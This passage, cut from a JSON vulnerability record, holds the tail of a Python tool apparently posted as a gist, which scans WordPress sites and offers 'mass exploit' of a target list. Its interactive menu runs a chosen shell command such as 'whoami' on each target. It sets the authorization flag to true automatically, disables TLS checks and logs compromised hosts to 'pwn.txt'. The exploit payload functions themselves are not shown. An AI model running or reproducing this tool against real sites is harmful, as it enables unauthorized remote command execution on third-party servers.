0 <= args.retries <= 5:\n        parser.error(\"--retries must be between 0 and 5\")\n    if not 1024 <= args.max_body_bytes <= 16 * 1024 * 1024:\n        parser.error(\"--max-body-bytes must be between 1024 and 16777216\")\n    try:\n        headers = parse_headers(args.header)\n        targets = read_targets(args.target, args.targets_file, args.stdin,\n                                args.max_targets)\n    except ValueError as exc:\n        parser.error(str(exc))\n\n    config = ScanConfig(\n        timeout=args.timeout, retries=args.retries,\n        max_body_bytes=args.max_body_bytes, verify_tls=not args.insecure,\n        follow_redirects=not args.no_redirects,\n        allow_cross_host_redirects=args.allow_cross_host_redirects,\n        proxy=args.proxy, headers=headers, user_agent=args.user_agent,\n        rate_limit=args.rate, fingerprint_level=args.fingerprint_level,\n        active_probe=args.active_probe, rest_endpoint=args.rest_endpoint,\n        include_request_log=args.include_request_log,\n        default_scheme=args.default_scheme,\n    )\n    limiter = RateLimiter(config.rate_limit)\n\n    results: list[ScanResult] = []\n    total = len(targets)\n    done = 0\n    candidates = 0\n    plock = threading.Lock()\n    hit_verdicts = {\n        \"CONFIRMED_VULNERABLE_BEHAVIOR\", \"CONFIRMED_AFFECTED_VERSION\",\n        \"LIKELY_VULNERABLE\", \"VULNERABLE_SQLI_ONLY\",\n        \"AFFECTED_VERSION_BUT_BEHAVIOR_NOT_OBSERVED\",\n        \"POTENTIALLY_EXPOSED_VERSION_UNKNOWN\",\n    }\n\n    print()\n    print(box_top(\"REMOTE SCAN\"))\n    print(box_line())\n    print(box_line(f\"   {lav('targets')} : {white(str(total))}\"\n                   f\"    {lav('workers')} : {white(str(args.concurrency))}\"\n                   f\"    {lav('rate')}    : {white(str(args.rate) + '/s')}\"))\n    print(box_line())\n    print(box_bot())\n    print()\n\n    if args.format == \"csv\" and args.output:\n        try:\n            Path(args.output).write_text(\"\", encoding=\"utf-8\")\n        except OSError:\n            pass\n\n    with concurrent.futures.ThreadPoolExecutor(max_workers=args.concurrency) as executor:\n        future_map = {\n            executor.submit(scan_target, target, config,\n                            RateLimiter(config.rate_limit)): target\n            for target in targets\n        }\n        for future in concurrent.futures.as_completed(future_map):\n            target = future_map[future]\n            try:\n                res = future.result()\n            except Exception as exc:\n                res = ScanResult(target=target)\n                res.errors.append(f\"internal scanner error: \"\n                                  f\"{type(exc).__name__}: {exc}\")\n                finalize_scan_result(res)\n            results.append(res)\n            done += 1\n            if args.format == \"csv\" and args.output:\n                with plock:\n                    try:\n                        _csv_append(args.output, res.as_dict(), done == 1)\n                    except OSError:\n                        pass\n            with plock:\n                if res.verdict in hit_verdicts:\n                    candidates += 1\n                    print(f\"  {amber('\u2b21')}  {white(target)}  \"\n                          f\"{amber(res.verdict)}  \"\n                          f\"{dim(f'[{done}/{total}]')} hits={candidates}\",\n                          flush=True)\n                elif done % 25 == 0 or done == total:\n                    print(dim(f\"  [*] {done}/{total}  hits={candidates}\"),\n                          flush=True)\n\n    results.sort(key=lambda item: (-severity_rank(item.severity), item.target))\n    rows = [item.as_dict() for item in results]\n    print()\n    print(dim(f\"scan done: {candidates} candidate(s) of {total} target(s)\"))\n    output_results(rows, args.format, args.output)\n    return exit_code_for(rows, args.fail_on)\n\n\ndef run_local(args: argparse.Namespace) -> int:\n    result = scan_local(args.wordpress_root)\n    rows = [result.as_dict()]\n    output_results(rows, args.format, args.output)\n    return exit_code_for(rows, args.fail_on)\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  INTERACTIVE MODE\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef _ask(prompt: str, default: str) -> str:\n    print(prompt, end=\"\", flush=True)\n    try:\n        value = input().strip()\n    except (EOFError, KeyboardInterrupt):\n        value = \"\"\n    return value or default\n\n\ndef run_interactive(parser) -> int:\n    \"\"\"Modern purple menu.\"\"\"\n    while True:\n        print()\n        print(box_top(\"MAIN MENU\"))\n        print(box_line())\n        print(box_line(f\"   {mint('1')}  {white('single target')}\"\n                       f\"     {dim('\u2014 interactive wizard')}\"))\n        print(box_line(f\"   {cyan('2')}  {white('mass exploit')}\"\n                       f\"      {dim('\u2014 targets.txt list')}\"))\n        print(box_line(f\"   {violet('3')}  {white('remote scan')}\"\n                       f\"       {dim('\u2014 version + behavior check')}\"))\n        print(box_line(f\"   {coral('0')}  {white('exit')}\"))\n        print(box_line())\n        print(box_bot())\n\n        try:\n            choice = input(f\"  {violet('select')} > \").strip()\n        except (EOFError, KeyboardInterrupt):\n            print()\n            return 0\n\n        if choice in (\"0\", \"exit\", \"quit\", \"q\"):\n            print()\n            print(pink(\"bye.\"))\n            return 0\n\n        if choice == \"1\":\n            target = _ask(f\"  {violet('target')} > \", \"\")\n            if not target:\n                continue\n            cmd = _ask(f\"  {violet('cmd')}    > [{dim('id')}] \", \"id\")\n            args = argparse.Namespace(\n                command=\"single\", target=[target], cmd=cmd,\n                authorized=True, default_scheme=\"https\", timeout=DEFAULT_TIMEOUT,\n                retries=1, insecure=True, proxy=None, rate=DEFAULT_RATE,\n                header=[], debug=False, password=None, username=\"admin\",\n                wordlist=None, output=None, delay=2.0,\n                log=\"single_log.txt\", results_csv=\"single_results.csv\",\n                owned=\"pwn.txt\", no_color=False,\n            )\n            print()\n            return run_single(args, parser)\n\n        if choice == \"2\":\n            list_path = _ask(f\"  {violet('targets')} > [{dim('target.txt')}] \",\n                             \"target.txt\")\n            cmd = _ask(f\"  {violet('cmd')}     > [{dim('whoami')}] \", \"whoami\")\n            raw = _ask(f\"  {violet('workers')} > 1-{MAX_CONCURRENCY} \"\n                       f\"[{dim('10')}] \", \"10\")\n            try:\n                speed = int(raw)\n            except ValueError:\n                speed = 10\n            args = argparse.Namespace(\n                command=\"exploit\", target=[], targets_file=[list_path],\n                cmd=cmd, authorized=True, default_scheme=\"https\",\n                timeout=DEFAULT_TIMEOUT, retries=1, insecure=True,\n                proxy=None, rate=DEFAULT_RATE, header=[], debug=False,\n                password=None, username=\"admin\", wordlist=None, output=None,\n                concurrency=max(1, min(speed, MAX_CONCURRENCY)),\n                delay=2.0, log=\"exploit_log.txt\",\n                results_csv=\"results.csv\", owned=\"pwn.txt\", no_color=False,\n            )\n            print()\n            return run_exploit(args, parser)\n\n        if choice == \"3\":\n            list_path = _ask(f\"  {violet('targets')} > [{dim('target.txt')}] \",\n                             \"target.txt\")\n            raw = _ask(f\"  {violet('workers')} > 1-{MAX_CONCURRENCY} \"\n                       f\"[{dim('20')}] \", \"20\")\n            try:\n                speed = int(raw)\n            except ValueError:\n                speed = 20\n            out = _ask(f\"  {violet('output')}  > [{dim('scan.csv')}] \", \"scan.csv\")\n            args = argparse.Namespace(\n                command=\"remote\", target=[], targets_file=[list_path],\n                stdin=False, authorized=True, default_scheme=\"https\",\n                concurrency=max(1, min(speed, MAX_CONCURRENCY)),\n                rate=DEFAULT_RATE, timeout=DEFAULT_TIMEOUT, retries=1,\n                max_targets=None, max_body_bytes=DEFAULT_MAX_BODY,\n                insecure=True, no_redirects=False,\n                allow_cross_host_redirects=False, proxy=None, header=[],\n                user_agent=DEFAULT_USER_AGENT, fingerprint_level=\"standard\",\n                active_probe=True, rest_endpoint=\"both\",\n                include_request_log=False, format=\"csv\", output=out,\n                fail_on=\"vulnerable\",\n            )\n            print()\n            return run_remote(args, parser)\n\n        print(coral(\"  invalid option\"))\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  MAIN\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef main(argv: Optional[Sequence[str]] = None) -> int:\n    global _ANSI\n    parser = build_parser()\n    args = parser.parse_args(argv)\n    if args.command in (None, \"exploit\", \"single\"):\n        _ANSI = (not getattr(args, \"no_color\", False)) and (\n            os.environ.get(\"FORCE_COLOR\") == \"1\" or _STDOUT_ISATTY)\n        show_banner()\n    if args.command == \"remote\":\n        _ANSI = os.environ.get(\"FORCE_COLOR\") == \"1\" or _STDOUT_ISATTY\n        return run_remote(args, parser)\n    if args.command == \"local\":\n        _ANSI = os.environ.get(\"FORCE_COLOR\") == \"1\" or _STDOUT_ISATTY\n        return run_local(args)\n    if args.command == \"exploit\":\n        return run_exploit(args, parser)\n    if args.command == \"single\":\n        return run_single(args, parser)\n    return run_interactive(parser)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n", "url": "https://gist.github.com/roccxoubt-gif/cce148a8d885da0db87ed05e20213518"}, {"timestamp": "2026-10-17T09:46:02Z", "date_only": false, "value": "2026-10-17T09:46:02Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2026-63030", "record": "UBUNTU-CVE-2026-63030", "field": "modified"}]}